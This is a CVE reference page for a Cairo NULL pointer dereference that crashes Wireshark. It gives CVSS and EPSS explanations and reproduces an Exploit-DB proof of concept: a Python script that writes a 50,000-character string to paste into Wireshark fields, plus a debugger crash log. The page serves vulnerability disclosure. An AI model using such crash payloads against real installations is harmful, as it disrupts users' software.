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CVE Descriptions
The cairo_image_surface_get_data function in Cairo 1.10.2, as used in GTK+ and Wireshark, allows context-dependent attackers to cause a denial of service (NULL pointer dereference) via a large string.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 5 | AV:N/AC:L/Au:N/C:N/I:N/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 33384
Publication date : 2014-05-15 22h00 +00:00
Author : Osanda Malith Jayathissa
EDB Verified : Yes
#!/usr/bin/python
# Exploit Title: Wireshark Read Access Violation near NULL starting at libcairo_2!cairo_image_surface_get_data()
# Date: May 15th 2014
# Author: Osanda Malith Jayathissa
# E-Mail: osandajayathissa<[at]>gmail.com
# Version: 1.10.7 32-bit and 64-bit
# Vendor Homepage: http://www.wireshark.org
# Tested on: Windows 8 64-bit
'''
The issue is with the cairo_image_surface_get_data() function in Cairo.
These fields are vulnerable:
- Filter text box
- Statistics -> IP DESTINATIONS
- Statistics -> IP Addresses
Paste the generated text in any one of above fields and hit return.
'''
payload = "A" * 50000
file = open('exploit.txt', "w")
file.write(payload)
file.close()
'''
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Wireshark32\libcairo-2.dll -
eax=00000000 ebx=052dabf0 ecx=77bc2ad2 edx=612fc6e0 esi=00000000 edi=612fc6e0
eip=61291737 esp=008cdca0 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
libcairo_2!cairo_image_surface_get_data+0x7:
61291737 8138609d2f61 cmp dword ptr [eax],offset libcairo_2!cairo_tee_surface_index+0xd080 (612f9d60) ds:002b:00000000=????????
'''
Products Mentioned
Configuraton 0
Cairographics>>Cairo >> Version 1.10.2
- Cairographics>>Cairo >> Version 1.10.2 (Open CPE detail)
